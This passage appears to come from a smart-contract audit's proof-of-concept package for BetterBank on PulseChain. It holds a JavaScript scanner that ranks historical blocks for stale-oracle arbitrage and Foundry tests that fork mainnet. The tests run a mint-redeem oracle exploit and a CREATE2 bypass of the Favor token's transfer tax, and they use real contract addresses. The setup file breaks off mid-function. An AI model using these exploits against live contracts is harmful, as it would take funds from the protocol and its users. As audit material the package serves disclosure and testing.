            priceChange: {
                from: startPrice,
                to: startPrice * maxOpportunity.alphaBeta,
                changePct: maxOpportunity.changePct
            },
            alphaBeta: maxOpportunity.alphaBeta,
            estimatedProfit: maxOpportunity.estimatedProfit,
            foundryCommand: `vm.roll(${block});`,
            timestamp: await this.getRealTimestamp(block)
        };

        opportunities.push(opportunity);

        // Console log opportunity as found
        console.log(`   OPPORTUNITY: ${pairName} | ${maxOpportunity.changePct.toFixed(1)}% in ${opportunity.windowDuration}min → $${maxOpportunity.estimatedProfit.toFixed(0)} profit | Block ${block}`);

        // Faster delay for historical data (500ms)
        await new Promise(resolve => setTimeout(resolve, 500));
    }

```

```
        // Step 4: Sort by profit and keep top N (or all if fewer than N)
        opportunities.sort((a, b) => b.estimatedProfit - a.estimatedProfit);
        const topOpportunities = opportunities.slice(0, TOP_N);

        // Add rankings
        topOpportunities.forEach((opp, index) => {
            opp.rank = index + 1;
        });

        return topOpportunities;
    }

    /**
     * Analyze PLS/USD arbitrage opportunities - SIMPLIFIED BLOCK-BY-BLOCK SCAN
     */
    async analyzePLSUSDArbitrage(startBlock, endBlock) {
        const opportunities = [];
        let samplesProcessed = 0;
        const totalBlocks = endBlock - startBlock + 1;

        console.log(`Starting block-by-block PLS/USD arbitrage scan...`);
        console.log(`Scanning ${totalBlocks.toLocaleString()} blocks with 10-second resolution\n`);

        for (let block = startBlock; block <= endBlock; block += SAMPLE_INTERVAL) {
            samplesProcessed++;

            // Progress every 1000 blocks (more frequent for this intensive scan)
            if (samplesProcessed % 1000 === 0 || samplesProcessed === totalBlocks) {
                const progress = (samplesProcessed / totalBlocks * 100);
                console.log(`   Progress: ${progress.toFixed(2)}% (${samplesProcessed.toLocaleString()}/${totalBlocks.toLocaleString()} blocks)`);
            }

            const blockTimestamp = await this.getBlockTimestamp(block);
            if (!blockTimestamp) continue;

            const oraclePrice = await this.getOracleUSDPrice(block, blockTimestamp);
            const dexPrice = await this.getDexUSDPrice(block);

            if (!oraclePrice || !dexPrice) continue;

            // CRITICAL FIX: Only profitable when oracle is CHEAPER than DEX (oracle stale/undervalues PLS)
            if (oraclePrice >= dexPrice) continue; // Skip unprofitable direction

            const priceGap = (dexPrice - oraclePrice) / oraclePrice * 100;
            if (priceGap < MIN_USD_GAP) continue;

            const opportunity = {
                pair: "PLS/USD",
                block: block,
                timestamp: await this.getRealTimestamp(block),
                oraclePrice: oraclePrice,
                dexPrice: dexPrice,
                priceGap: priceGap,
                estimatedProfit: priceGap * INVESTMENT_SIZE / 100,
                foundryCommand: `vm.roll(${block});`
            };

            // Keep only top 30 - efficient memory management
            this.updateTop30Array(opportunities, opportunity);

            console.log(`   USD ARBITRAGE: Oracle $${oraclePrice.toFixed(8)} < DEX $${dexPrice.toFixed(8)} → ${priceGap.toFixed(1)}% gap → $${opportunity.estimatedProfit.toFixed(0)} profit | Block ${block}`);

            // Faster delays - 500ms for ~2-3 second total per block
            await new Promise(resolve => setTimeout(resolve, 500));
        }

        return opportunities.sort((a, b) => b.priceGap - a.priceGap);
    }

    /**
     * Efficiently maintain top 30 opportunities array
     */
    updateTop30Array(opportunities, newOpportunity) {
        opportunities.push(newOpportunity);

        // Sort and keep only top 30
        if (opportunities.length > TOP_N) {
            opportunities.sort((a, b) => b.priceGap - a.priceGap);
            opportunities.splice(TOP_N);
        }
    }

    /**
     * Get REAL timestamp for block from blockchain (no more fake estimates!)
     */
    async getRealTimestamp(block) {
        const timestamp = await this.getBlockTimestamp(block);
        if (timestamp) {
            const date = new Date(timestamp * 1000);
            return date.toISOString().slice(0, 16).replace('T', ' ');
        }
        return 'Unknown';
    }

    /**
     * Analyze all LP pairs (or PLS/USD arbitrage if specified)
     */
    async analyzeAllPairs() {
        console.log("Starting BetterBank Historical Opportunity Analysis");

        if (USD_ARBITRAGE) {
            console.log("Goal: Find PLS/USD arbitrage opportunities using oracle vs DEX price gaps\n")
    ;
        } else {
            console.log("Goal: Find top opportunities for Foundry historical forking attacks\n");
        }

        if (TOKEN_FILTER && !USD_ARBITRAGE) {
            console.log(`Token Filter: Analyzing only ${TOKEN_FILTER}\n`);
        }

        const { startBlock, endBlock } = await this.calculateScanRange();
        const results = {};

        if (USD_ARBITRAGE) {
            // PLS/USD arbitrage analysis
            console.log(`\nAnalyzing PLS/USD arbitrage opportunities...`);
            const usdOpportunities = await this.analyzePLSUSDArbitrage(startBlock, endBlock);
            results["PLS/USD"] = usdOpportunities;
            console.log(`PLS/USD: Found ${usdOpportunities.length} arbitrage opportunities\n`);
        } else {
            // Original token pair analysis
            const pairsToAnalyze = TOKEN_FILTER
                ? Object.entries(LP_PAIRS).filter(([name]) => name === TOKEN_FILTER)
                : Object.entries(LP_PAIRS);

            if (TOKEN_FILTER && pairsToAnalyze.length === 0) {
                console.log(`Token "${TOKEN_FILTER}" not found. Available tokens: ${Object.keys(
    LP_PAIRS).join(', ')}`);
                return results;
            }

            for (const [pairName, pairAddress] of pairsToAnalyze) {
                try {
                    console.log(`\nAnalyzing ${pairName} historical opportunities...`);

                    const pairOpportunities = await this.analyzePairHistory(
                        pairName, pairAddress, startBlock, endBlock
                    );

                    results[pairName] = pairOpportunities;

                    // Save individual token results immediately
                    this.saveTokenResults(pairName, pairOpportunities);

                    console.log(`${pairName}: Found ${pairOpportunities.length} opportunities\n`);

                } catch (error) {
                    console.log(`Failed to analyze ${pairName}: ${error.message}`);
                    console.log(`Continuing with next token...\n`);
                    results[pairName] = []; // Empty results for failed analysis
                }
            }
        }

        return results;
    }

    /**
     * Save individual token results immediately
     */
    saveTokenResults(pairName, opportunities, filename = null) {
        if (!filename) {
            const safeName = pairName.replace('/', '_').toLowerCase();
            filename = `foundry_${safeName}_opportunities.json`;
        }

        const results = {
            generatedAt: new Date().toISOString(),
            pair: pairName,
            purpose: `Top profitable opportunities for ${pairName} - Foundry historical forking attacks`,
            totalOpportunities: opportunities.length,
            attackStrategy: "TECH-H008 tax bypass + stale oracle arbitrage",
            configuration: {
                topN: TOP_N,
                sampleInterval: SAMPLE_INTERVAL,
                scanApproach: "Block-by-block (every 10 seconds)",
                minUsdGap: MIN_USD_GAP,
                minAlphaBeta: MIN_ALPHA_BETA,
                investmentSize: INVESTMENT_SIZE
            },
            foundryUsage: {
                instruction: "Use vm.roll() commands to fork to profitable blocks",
                example: opportunities.length > 0 ? opportunities[0].foundryCommand : "vm.roll(24356096);"
            },
            opportunities
        };

        fs.writeFileSync(filename, JSON.stringify(results, null, 2));
        console.log(`${pairName} results saved to: ${filename}`);
        return filename;
    }

    /**
     * Save results optimized for Foundry usage
     */
    saveResults(opportunities, filename = "foundry_attack_opportunities.json") {
        const totalOpportunities = Object.values(opportunities)
            .reduce((sum, opps) => sum + opps.length, 0);

        const results = {
            generatedAt: new Date().toISOString(),
            purpose: "Top profitable opportunities for Foundry historical forking attacks",
            totalOpportunities,
            attackStrategy: "TECH-H008 tax bypass + stale oracle arbitrage",
            configuration: {
                topN: TOP_N,
                sampleInterval: SAMPLE_INTERVAL,
                scanApproach: "Block-by-block (every 10 seconds)",
                minUsdGap: MIN_USD_GAP,
                minAlphaBeta: MIN_ALPHA_BETA,
                investmentSize: INVESTMENT_SIZE
            },
            foundryUsage: {
                instruction: "Use vm.roll() commands to fork to profitable blocks",
                example: "vm.roll(24356096); // Fork to highest profit block"
            },
            opportunities
        };

        fs.writeFileSync(filename, JSON.stringify(results, null, 2));

        console.log(`Results saved to: ${filename}`);
        console.log(`Total opportunities found: ${totalOpportunities}`);

        // Print top opportunities summary
        console.log(`\nTOP FOUNDRY ATTACK TARGETS:`);
        for (const [pairName, opps] of Object.entries(opportunities)) {
            if (opps.length > 0) {
                const best = opps[0]; // Already sorted by profit
                console.log(`   ${pairName}:`);

                // Handle different opportunity structures
                if (best.priceChange && best.windowDuration) {
                    // Token volatility opportunity
                    console.log(`      Best: ${best.priceChange.changePct.toFixed(1)}% in ${best.
    windowDuration}min → $${best.estimatedProfit.toFixed(0)} profit`);
                    console.log(`      Block: ${best.blockRange[0]} → ${best.blockRange[1]} (${best.
    timestamp})`);
                } else if (best.priceGap) {
                    // PLS/USD arbitrage opportunity
                    console.log(`      Best: ${best.priceGap.toFixed(1)}% price gap → $${best.
    estimatedProfit.toFixed(0)} profit`);
                    console.log(`      Block: ${best.block} (${best.timestamp})`);
                }
                console.log(`      Foundry: ${best.foundryCommand}`);
            }
        }

        console.log(`\nReady for Foundry historical attack implementation!`);
        return filename;
    }
}

// Show help message
function showHelp() {
    console.log(`
BetterBank Historical Opportunity Analyzer

USAGE:
    node historical_opportunity_analyzer.js [OPTIONS]

OPTIONS:
    --verbose, -v          Enable verbose mode (shows reserve0/reserve1 data)
    --token <PAIR>         Analyze only specific token pair (PLS/PLSF, PLSX/PLSXF, PDAI/PDAIF)
    --usd-arbitrage        Analyze PLS/USD arbitrage opportunities (Oracle vs DEX)
    --token PLS/USD        Same as --usd-arbitrage
    --help, -h             Show this help message

EXAMPLES:
    node historical_opportunity_analyzer.js                    # Analyze all pairs
    node historical_opportunity_analyzer.js --verbose          # Verbose run with detailed logging
    node historical_opportunity_analyzer.js --token PLS/PLSF   # Analyze only PLS/PLSF pair
    node historical_opportunity_analyzer.js --usd-arbitrage    # PLS/USD arbitrage opportunities
    node historical_opportunity_analyzer.js --usd-arbitrage --verbose # USD arbitrage + verbose

OUTPUT:
    foundry_attack_opportunities.json - Combined results (all pairs)
    foundry_pls_plsf_opportunities.json - Individual PLS/PLSF results (auto-saved)
    foundry_plsx_plsxf_opportunities.json - Individual PLSX/PLSXF results (auto-saved)
    foundry_pdai_pdaif_opportunities.json - Individual PDAI/PDAIF results (auto-saved)
`);
}

// Main execution
async function main() {
    // Check for help flag
    if (args.includes('--help') || args.includes('-h')) {
        showHelp();
        return;
    }

    const analyzer = new HistoricalOpportunityAnalyzer();

    try {
        // Test connection (just verify RPC works)
        console.log("Testing PulseChain RPC connection...");
        const testBlock = await analyzer.getCurrentBlock();
        if (!testBlock) {
            console.log("Failed to connect to PulseChain RPC");
            return;
        }

        console.log(`Connected to PulseChain - Using fixed end block: 24540696 (Sept 18, 2025)\n`);

        // Analyze all pairs
        const opportunities = await analyzer.analyzeAllPairs();

        // Save results for Foundry
        analyzer.saveResults(opportunities);

    } catch (error) {
        console.log(`Analysis failed: ${error.message}`);
        console.error(error);
    }
}

// Run if called directly
if (import.meta.url === `file://${process.argv[1]}`) {
    main();
}
```

3. HistoricalOracleExploit.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "forge-std/console.sol";
import "../test/StaleOracleAttackSetup.t.sol";

/**
 * Historical Oracle Exploit (Sept 11, 2025) - Customer Version
 * Demonstrates Oracle < DEX gap at block 24482198 using real on-chain data.
 * Minimal logs, no debug scaffolding; preserves the core exploit flow.
 */

struct HistoricalOpportunity {
    uint256 blockNumber;
    string date;
    uint256 oraclePrice;    // USD/PLS scaled by 1e8 (e.g., 3698 = 0.00003698)
    uint256 dexPrice;       // USD/PLS scaled by 1e8 (e.g., 4256 = 0.00004256)
    uint256 priceGap;       // percentage scaled by 100 (e.g., 1508 = 15.08%)
}

contract HistoricalOracleExploit_Customer is StaleOracleAttackSetupTest {
    uint256 public constant REAL_SEPT_11_TIMESTAMP = 1757625495; // 2025-09-11 21:18:15 UTC

    MockZapperUsingRealOnChainPrices_Customer public zapper;
    uint256 public initialPLS;
    uint256 public finalPLS;
    uint256 public totalProfit;

    function _opportunity() internal pure returns (HistoricalOpportunity memory) {
        return HistoricalOpportunity({
            blockNumber: 24482198,
            date: "2025-09-11 21:18",
            oraclePrice: 3698,
            dexPrice: 4256,
            priceGap: 1508
        });
    }

    function setUp() public override {
        HistoricalOpportunity memory op = _opportunity();
        _setUpAtBlock(op.blockNumber);
        vm.warp(REAL_SEPT_11_TIMESTAMP);
    }

    function test_Sept11_OracleArbitrage() public {
        HistoricalOpportunity memory op = _opportunity();

        // Ensure we are at the expected context
        require(block.number == op.blockNumber, "Wrong block");
        require(block.timestamp == REAL_SEPT_11_TIMESTAMP, "Wrong timestamp");

        // Refresh TWAP state
        twapOracle.update();

        // Minimal zapper to convert Favor → USD equivalent at DEX price
        zapper = new MockZapperUsingRealOnChainPrices_Customer(address(favor));
        vm.deal(address(zapper), 100_000_000 ether);

        // PRICE VERIFICATION - SOLIDITY (Oracle vs DEX)
        _verifyPrices(op);

        // Start with exactly $10k worth of PLS at oracle price
        uint256 tenKPLS = 270_416_441 ether; // 10,000 / 0.00003698
        vm.deal(address(this), tenKPLS);

        initialPLS = address(this).balance;

        // Mint Esteem using PLS
        uint256 esteemBefore = esteem.balanceOf(address(this));
        pulseMinter.mintEsteemWithPLS{value: initialPLS}(block.timestamp + 300);
        uint256 esteemReceived = esteem.balanceOf(address(this)) - esteemBefore;

        // Redeem Favor
        esteem.approve(address(pulseMinter), esteemReceived);
        uint256 favorBefore = favor.balanceOf(address(this));
        pulseMinter.redeemFavor(esteemReceived, BBToken(address(favor)));
        uint256 favorReceived = favor.balanceOf(address(this)) - favorBefore;

        // Convert Favor → USD (paid in PLS equivalent for demo)
        favor.approve(address(zapper), favorReceived);
        zapper.swapFavorForUSD(favorReceived, op.blockNumber);

        finalPLS = address(this).balance;
        totalProfit = finalPLS > initialPLS ? finalPLS - initialPLS : 0;

        // Test succeeds by executing the end-to-end flow without reverting.
        // Optional: add assertions for price gap or profit conditions as needed.
    }

    // Receive PLS from zapper
    receive() external payable {}

    function _verifyPrices(HistoricalOpportunity memory op) internal {
        uint256 oraclePrice = zapper.getOracleUSDPrice(op.blockNumber);
        uint256 dexPrice = zapper.getDexUSDPrice(op.blockNumber);
        require(oraclePrice > 0 && dexPrice > 0, "Failed price fetch");

        uint256 gapPercent = 0;
        if (dexPrice >= oraclePrice) {
            gapPercent = ((dexPrice - oraclePrice) * 100) / oraclePrice;
        }

        console.log("PRICE VERIFICATION - SOLIDITY");
        console.log("Oracle (wei):", oraclePrice);
        console.log("DEX (wei):", dexPrice);
        console.log("Derived gap (%):", gapPercent);
    }
}

/**
 * Minimal zapper for converting Favor to USD equivalent at market (DEX) rates.
 * Uses real USDC/WPLS LP reserves and PLS/PLSF LP reserves.
 */
contract MockZapperUsingRealOnChainPrices_Customer {
    address public constant USDC_WPLS_LP = 0x6753560538ECa67617A9Ce605178F788bE7E524E;
    address public constant PLS_PLSF_LP = 0xdca85EFDCe177b24DE8B17811cEC007FE5098586;
    address public constant FETCH_ORACLE = 0xCe9DEa26eB6bEaEc73CFf3BACdF3F9e42BB89951;

    address public immutable favorToken;

    constructor(address _favorToken) {
        favorToken = _favorToken;
    }

    function swapFavorForUSD(uint256 favorAmount, uint256 /*targetBlock*/ ) external returns (uint256
    usdOut) {
        // Pull Favor from caller
        uint256 beforeBal = IERC20(favorToken).balanceOf(address(this));
        IERC20(favorToken).transferFrom(msg.sender, address(this), favorAmount);
        uint256 received = IERC20(favorToken).balanceOf(address(this)) - beforeBal; // handles any tax

        // Convert Favor → PLS using real LP ratio
        uint256 favorToPls = _getFavorToPLSRatio();          // 1 Favor → x PLS (1e18-scaled)
        uint256 plsEquivalent = (received / 1e18) * favorToPls; // scale back to 18 decimals

        // Price PLS in USD using USDC/WPLS LP
        uint256 usdPerPls = _getDexUSDPrice();               // USD per 1 PLS (1e18-scaled)
        usdOut = (plsEquivalent * usdPerPls) / 1e18;

        // Pay out PLS equivalent (demo payout)
        payable(msg.sender).transfer(plsEquivalent);
    }

    function getDexUSDPrice(uint256 /*targetBlock*/ ) external view returns (uint256) {
        return _getDexUSDPrice();
    }

    function getOracleUSDPrice(uint256 /*targetBlock*/ ) external returns (uint256) {
        // Use current block timestamp (already set to historical context in setUp)
        uint256 cutoffTime = block.timestamp - 20 minutes;

        // Build Fetch query: keccak256(abi.encode("SpotPrice", abi.encode("pls","usd")))
        bytes memory inner = abi.encode("pls", "usd");
        bytes memory queryData = abi.encode("SpotPrice", inner);
        bytes32 queryId = keccak256(queryData);

        (bool success, bytes memory result) = FETCH_ORACLE.staticcall(
            abi.encodeWithSignature("getDataBefore(bytes32,uint256)", queryId, cutoffTime)
        );
        if (!success || result.length == 0) return 0;

        (bool ok, bytes memory valueBytes, ) = abi.decode(result, (bool, bytes, uint256));
        if (!ok) return 0;
        uint256 priceRaw = abi.decode(valueBytes, (uint256));
        return priceRaw; // 18-decimal USD/PLS
    }

    function _getDexUSDPrice() internal view returns (uint256) {
        // USDC (6 decimals) / WPLS (18 decimals)
        (uint112 r0, uint112 r1, ) = IUniswapV2Pair(USDC_WPLS_LP).getReserves();
        require(r1 > 0, "No WPLS liquidity");
        uint256 usdc18 = uint256(r0) * 1e12; // scale 6 → 18
        return (usdc18 * 1e18) / uint256(r1); // USD/PLS (1e18-scaled)
    }

    function _getFavorToPLSRatio() internal view returns (uint256) {
        (uint112 r0, uint112 r1, ) = IUniswapV2Pair(PLS_PLSF_LP).getReserves();
        // From setup, token0 = Favor, token1 = WPLS
        require(r0 > 0, "No Favor liquidity");
        return (uint256(r1) * 1e18) / uint256(r0); // PLS per Favor (1e18-scaled)
    }

    receive() external payable {}
}
```

4. narrowBypassCreate2.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test} from "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../src/Favor.sol";
import "../src/CorrectAttackerFactory.sol";

/**
 * Narrow tax bypass (CREATE2 pre-deployment EOA) for 'Favors "destination is contract" rule.
 * Note: This is a narrow bypass for contract-tax classification only. For avoiding tax on
 * DEX exits via EOA markets, see 2_favor_sell_bypass_eoa_market.md.
 */
contract NarrowBypassCreate2Test is Test {
    Favor public favor;
    CorrectAttackerFactory public attackerFactory;
    MockEsteem public mockEsteem;
    MockPriceProvider public mockPriceProvider;
    SimpleWallet public normalWallet;

    address public owner;
    address public attacker;
    address public treasury;

    uint256 constant INITIAL_SUPPLY = 1_000_000 ether;
    uint256 constant ATTACK_AMOUNT = 1000 ether;
    uint256 constant EXPECTED_TAX = ATTACK_AMOUNT / 2; // 50% tax

    function setUp() public {
        owner = makeAddr("owner");
        attacker = makeAddr("attacker");
        treasury = makeAddr("treasury");

        // Deploy mock contracts that Favor needs
        mockEsteem = new MockEsteem();
        mockPriceProvider = new MockPriceProvider();

        vm.startPrank(owner);

        // Deploy real Favor contract with all required parameters
        favor = new Favor(
            owner,          // _owner
            "Favor Token",  // _name
            "FAVOR",        // _symbol
            INITIAL_SUPPLY, // _initialSupply
            treasury,       // _treasury
            address(mockEsteem) // _esteem
        );

        // Set the price provider (required for some functions)
        favor.setPriceProvider(address(mockPriceProvider));

        // Add owner as authorized minter
        favor.addMinter(owner);

        // Mint some tokens to attacker for testing
        favor.mint(attacker, INITIAL_SUPPLY);

        vm.stopPrank();

        // Deploy attacker factory
        vm.prank(attacker);
        attackerFactory = new CorrectAttackerFactory();

        // Deploy normal wallet for comparison
        normalWallet = new SimpleWallet();
    }

    function test_NormalTransferIsTaxed() public {
        uint256 initialTreasury = favor.balanceOf(treasury);
        uint256 initialAttacker = favor.balanceOf(attacker);

        vm.prank(attacker);
        favor.transfer(address(normalWallet), ATTACK_AMOUNT);

        uint256 finalTreasury = favor.balanceOf(treasury);
        uint256 finalAttacker = favor.balanceOf(attacker);
        uint256 walletBalance = favor.balanceOf(address(normalWallet));

        assertEq(finalAttacker, initialAttacker - ATTACK_AMOUNT);
        assertEq(finalTreasury, initialTreasury + EXPECTED_TAX);
        assertEq(walletBalance, ATTACK_AMOUNT - EXPECTED_TAX);
    }

    function test_Create2BypassesContractTax() public {
        bytes32 salt = keccak256("real_favor_attack");
        uint256 initialTreasury = favor.balanceOf(treasury);
        uint256 initialAttacker = favor.balanceOf(attacker);

        address predictedAddress = attackerFactory.predictWalletAddress(salt);

        vm.startPrank(attacker);
        favor.approve(address(attackerFactory), ATTACK_AMOUNT);
        address walletAddress = attackerFactory.createAndTransferCorrect(
            address(favor), // Real Favor contract!
            ATTACK_AMOUNT,
            salt
        );
        vm.stopPrank();

        uint256 finalTreasury = favor.balanceOf(treasury);
        uint256 finalAttacker = favor.balanceOf(attacker);
        uint256 walletBalance = favor.balanceOf(walletAddress);

        // Verify the bypass on real contract
        assertEq(walletAddress, predictedAddress); // Address prediction correct
        assertEq(finalTreasury, initialTreasury);          // No tax collected
        assertEq(walletBalance, ATTACK_AMOUNT);            // Full amount received
        assertEq(finalAttacker, initialAttacker - ATTACK_AMOUNT);
    }

    function test_VulnerableLine() public {
        bytes32 salt = keccak256("vuln_test");
        address predictedAddress = attackerFactory.predictWalletAddress(salt);
        bool wouldBeConsideredContract = predictedAddress.code.length != 0;
        assertEq(wouldBeConsideredContract, false, "Favor should NOT consider undeployed address a
    contract");
    }
}

/**
 * @title MockEsteem
 * @dev Mock Esteem token for testing
 */
contract MockEsteem is ERC20, Ownable {
    constructor() ERC20("Mock Esteem", "ESTEEM") Ownable(msg.sender) {}

    function mint(address to, uint256 amount) external onlyOwner {
        _mint(to, amount);
    }
}

/**
 * @title MockPriceProvider
 * @dev Mock price provider for testing
 */
contract MockPriceProvider {
    function getLatestTokenTWAP(address) external pure returns (uint256) {
        return 1e18; // $1
    }
}
```

5. StaleOracleAttackSetup.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "forge-std/console.sol";

// Real Infrastructure Imports
import "@aave/core-v3/contracts/interfaces/IPool.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";

// Fresh BetterBank Contracts (Latest Versions)
import "../src/PulseMinter.sol";
import "../src/MinterOracle.sol";
import "../src/Esteem.sol";
import "../src/Favor.sol";

// Interfaces
import "../src/interfaces/BBToken.sol";
import "../src/interfaces/IMasterOracle.sol";
import "../src/interfaces/IOracle.sol";
import "../src/usingFetch/usingFetch.sol";
import "../src/UniTWAPOracle.sol"; // Contains "Oracle" contract
import "../src/Epoch.sol";

/**
 * @title Stale Oracle Attack Test Setup (Hybrid)
 * @notice Fresh BetterBank contracts wired to real PulseChain infrastructure.
 * @dev Demonstrates dual-price oracle design: TWAP (fresh) x Fetch USD (stale, up to 24h).
 */
contract StaleOracleAttackSetupTest is Test {

    // ==================== REAL PULSECHAIN INFRASTRUCTURE ====================

    // Real Aave v3 Pool (deployed and working on PulseChain)
    IPool public constant REAL_AAVE_POOL = IPool(0xdB2c92c63e0320511a278673F0dBF8c3ACa7C5Ee);

    // Real Token Addresses from PulseChain
    address public constant WPLS = 0xA1077a294dDE1B09bB078844df40758a5D0f9a27;
    address public constant PLSX = 0x95B303987A60C71504D99Aa1b13B4DA07b0790ab;
    address public constant PDAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;

    // ==================== REAL LP PAIRS (FOR TWAP ORACLE CONFIGURATION) ====================

    // REAL LP pairs - used to configure our fresh TWAP oracles with authentic market data
    address public constant PLS_PLSF_LP  = 0xdca85EFDCe177b24DE8B17811cEC007FE5098586;  // Has real liquidity
    address public constant PLSX_PLSXF_LP = 0x24264d580711474526e8F2A8cCB184F6438BB95c; // Has real liquidity
    address public constant PDAI_PDAIF_LP = 0xA0126Ac1364606BAfb150653c7Bc9f1af4283DFa; // Has real liquidity

    // CRITICAL: USDC/WPLS LP for DEX USD pricing (used by our scanner for PLS/USD arbitrage)
    address public constant USDC_WPLS_LP = 0x6753560538ECa67617A9Ce605178F788bE7E524E;  // Essential for USD pricing

    // External Infrastructure (USE from fork - NOT controlled by BetterBank)
    address public constant FETCH_PROTOCOL = 0xCe9DEa26eB6bEaEc73CFf3BACdF3F9e42BB89951; // Real Fetch Oracle

    // ==================== FRESH BETTERBANK CONTRACTS (Deploy from src/) ====================

    // Fresh BetterBank contracts - deployed from our src/ folder (the code we're auditing!)
    Esteem public esteem;                    // Deploy from src/Esteem.sol
    Favor public favor;                      // Deploy from src/Favor.sol
    MinterOracle public minterOracle;        // Deploy from src/MinterOracle.sol
    MintRedeemer public pulseMinter;         // Deploy from src/PulseMinter.sol
    Oracle public twapOracle;                // Deploy from src/UniTWAPOracle.sol

    // Real Infrastructure Interfaces (connect to existing contracts)
    IUniswapV2Pair public plsfLPPair;       // Real PLS/PLSF LP pair for TWAP configuration

    // ==================== TEST CONFIGURATION CONSTANTS ====================

    // Test Account Configuration
    address public attacker;
    address public treasury;

    // Financial Constants
    uint256 public constant INITIAL_BALANCE = 100 ether; // PLS for realistic testing scenarios
    uint256 public constant SAMPLE_TOKEN_AMOUNT = 1e18; // 1 token (18 decimals) for price queries

    // ARCHITECTURAL COMPLIANCE: Named constant for default setup block
    uint256 public constant DEFAULT_TARGET_BLOCK = 24482198; // Sept 11, 2025 21:18 - 15.1% PLS/USD arbitrage opportunity


    // Oracle & TWAP Configuration Constants
    uint256 public constant TWAP_PERIOD = 30 minutes; // Standard TWAP observation period
    uint256 public constant FETCH_STALENESS_LIMIT = 24 hours; // Maximum Fetch Protocol staleness

    // Token Precision Constants
    uint256 public constant TOKEN_PRECISION = 1e18; // Standard ERC20 18-decimal precision
    uint256 public constant PERCENTAGE_BASE = 100; // Base for percentage calculations

    // OpenAI profitability formula constants
    uint256 public constant PROFIT_MULTIPLIER_PRECISION = 1000; // Precision for AxB calculations
    uint256 public constant PROFIT_THRESHOLD_MULTIPLIED = 2857; // 2.857 x 1000 for AxB > 2.857
condition

    /**
     * @dev Main setup function that prepares the LIVE production exploit environment
     * @notice This function sets up a complete attack environment against real BetterBank contracts
     *
     * ATTACK SETUP FLOW:
     * 1. Fork PulseChain mainnet to access real deployed contracts and liquidity
     * 2. Create test accounts (attacker, treasury) with realistic funding
     * 3. Verify accessibility of all external infrastructure (Aave, tokens, etc.)
     * 4. CRITICALLY verify that all production addresses implement expected interfaces
     * 5. Safely connect to verified BetterBank contracts for exploitation
     *
     * POST-SETUP STATE:
     * - Direct access to LIVE BetterBank Favor tokens with real user funds
     * - Verified TWAP oracles providing fresh pricing data
     * - Confirmed Fetch Protocol staleness vulnerability (up to 24h)
     * - Ready to execute →mintredeem arbitrage attacks
     */
    function setUp() public virtual {
        // ARCHITECTURAL COMPLIANCE: Use named constant, not hardcoded block number
        _setUpAtBlock(DEFAULT_TARGET_BLOCK); // Default: Sept 11, 2025 21:18 - our 15.1% PLS/USD
arbitrage opportunity
    }

    function _setUpAtBlock(uint256 blockNumber) internal virtual {
        // Step 1: Fork PulseChain mainnet at specified block for real infrastructure access
        // This gives us access to the exact same state as production users see
        vm.createSelectFork("https://rpc.pulsechain.com", blockNumber);


        // Step 2: Setup test accounts with realistic funding
        // Attacker needs sufficient PLS to execute meaningful attacks
        attacker = makeAddr("attacker");
        treasury = makeAddr("treasury");

        // Step 3: Fund attacker for realistic testing scenarios
        // INITIAL_BALANCE provides enough PLS for substantial attack volume
        vm.deal(attacker, INITIAL_BALANCE);
        vm.deal(treasury, 1 ether);


        // Step 4: Verify real infrastructure accessibility
        // Ensures we can access Aave v3, base tokens, and external dependencies
        _verifyRealInfrastructure();

        // Step 5: Deploy fresh BetterBank contracts from src/ (the code we're auditing!)
        // This is the core of our hybrid approach - test OUR contract versions
        _deployFreshContracts();

        // Step 6: Configure fresh contracts to use real infrastructure
        // Connect our deployed contracts to real Aave, Fetch Protocol, LP pairs
        _configureFreshContracts();

        // Step 7: Verify our deployed contracts are properly configured
        // Ensures attack vector is accessible with our fresh deployments
        _verifyDeployedContracts();

        // Step 8: Setup complete - ready for attack implementation
        // Attack vector testing will happen in separate attack test files

        console.log("=== HYBRID ATTACK ENVIRONMENT READY ===");
    }

    /**
     * @dev Verify we can access real PulseChain infrastructure AND deployed BetterBank contracts
     */
    function _verifyRealInfrastructure() internal view {
        // Check real Aave pool is accessible
        require(address(REAL_AAVE_POOL).code.length > 0, "Aave pool not found - fork setup issue");

        // Check real base tokens exist
        require(WPLS.code.length > 0, "WPLS not found - fork setup issue");
        require(PLSX.code.length > 0, "PLSX not found - fork setup issue");
        require(PDAI.code.length > 0, "PDAI not found - fork setup issue");

        // Check real LP pairs exist (for TWAP oracle configuration)
        require(PLS_PLSF_LP.code.length > 0, "PLS/PLSF LP not found - deployment issue");
        require(PLSX_PLSXF_LP.code.length > 0, "PLSX/PLSXF LP not found - deployment issue");
        require(PDAI_PDAIF_LP.code.length > 0, "PDAI/PDAIF LP not found - deployment issue");

        // Check USDC/WPLS LP for DEX USD pricing (PLS/USD arbitrage)
        require(USDC_WPLS_LP.code.length > 0, "USDC/WPLS LP not found - critical for USD pricing!");

        // External dependency
        require(FETCH_PROTOCOL.code.length > 0, "Fetch Protocol not found - external dependency issue"
    );

    }

    /**
     * @dev Deploy fresh BetterBank contracts from src/ folder (the code we're auditing)
     * @notice This is the core of our hybrid approach - test OUR contract versions
     *
     * DEPLOYMENT STRATEGY:
     * We deploy the exact contract code from our src/ folder, which represents
     * the latest version being audited, NOT the old production contracts.
     *
     * CONTRACTS DEPLOYED:
     * 1. Esteem Token - from src/Esteem.sol
     * 2. Favor Token - from src/Favor.sol (with vulnerable tax system)
     * 3. MinterOracle - from src/MinterOracle.sol (with 24h staleness)
     * 4. PulseMinter - from src/PulseMinter.sol (core attack target)
     * 5. TWAP Oracle - from src/UniTWAPOracle.sol (fresh pricing)
     *
     * CONFIGURATION:
     * After deployment, we'll configure these to use real infrastructure
     * (Aave pool, Fetch Protocol, real LP pairs) for maximum realism.
     */
    function _deployFreshContracts() internal {

        // Deploy Esteem Token (src/Esteem.sol)
        esteem = new Esteem(
